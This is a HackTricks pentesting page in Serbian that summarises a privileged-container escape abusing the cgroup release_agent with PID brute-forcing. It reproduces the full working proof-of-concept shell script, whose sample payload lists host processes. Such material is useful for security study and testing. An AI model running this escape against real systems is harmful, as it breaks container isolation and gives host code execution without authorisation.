tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Za više detalja proverite blog post na https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Ovo je samo sažetak:
Tehnika opisuje metodu za izvršavanje koda domaćina iz kontejnera, prevazilaženje izazova koje postavljaju konfiguracije drajvera za skladištenje koje prikrivaju putanju datoteke kontejnera na domaćinu, kao što su Kata Containers ili specifične devicemapper
postavke.
Ključni koraci:
- Lociranje ID-eva procesa (PIDs): Korišćenjem simboličke veze
/proc/<pid>/root
u Linux pseudo-datotečnom sistemu, bilo koja datoteka unutar kontejnera može se pristupiti u odnosu na datotečni sistem domaćina. Ovo zaobilazi potrebu da se zna putanja datoteke kontejnera na domaćinu. - PID Bashing: Koristi se pristup silom da se pretražuju PIDs na domaćinu. Ovo se radi sekvencijalnim proveravanjem prisustva specifične datoteke na
/proc/<pid>/root/<file>
. Kada se datoteka pronađe, to ukazuje da odgovarajući PID pripada procesu koji se izvršava unutar ciljanog kontejnera. - Pokretanje izvršenja: Pogađana PID putanja se upisuje u
cgroups release_agent
datoteku. Ova akcija pokreće izvršenjerelease_agent
. Uspeh ovog koraka se potvrđuje proverom kreiranja izlazne datoteke.
Proces eksploatacije
Proces eksploatacije uključuje detaljniji set akcija, sa ciljem izvršavanja payload-a na domaćinu pogađanjem tačnog PID-a procesa koji se izvršava unutar kontejnera. Evo kako se odvija:
- Inicijalizacija okruženja: Payload skripta (
payload.sh
) se priprema na domaćinu, a jedinstveni direktorijum se kreira za manipulaciju cgroup-om. - Priprema payload-a: Payload skripta, koja sadrži komande koje treba izvršiti na domaćinu, se piše i čini izvršnom.
- Postavljanje Cgroup-a: Cgroup se montira i konfiguriše.
notify_on_release
zastavica se postavlja kako bi se osiguralo da se payload izvrši kada se cgroup oslobodi. - Brute Force PID: Petlja prolazi kroz potencijalne PIDs, upisujući svaki pogađani PID u
release_agent
datoteku. Ovo efikasno postavlja payload skriptu kaorelease_agent
. - Pokretanje i provera izvršenja: Za svaki PID,
cgroup.procs
se upisuje, pokrećući izvršenjerelease_agent
ako je PID tačan. Petlja se nastavlja dok se ne pronađe izlaz payload skripte, što ukazuje na uspešno izvršenje.
PoC iz blog posta:
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.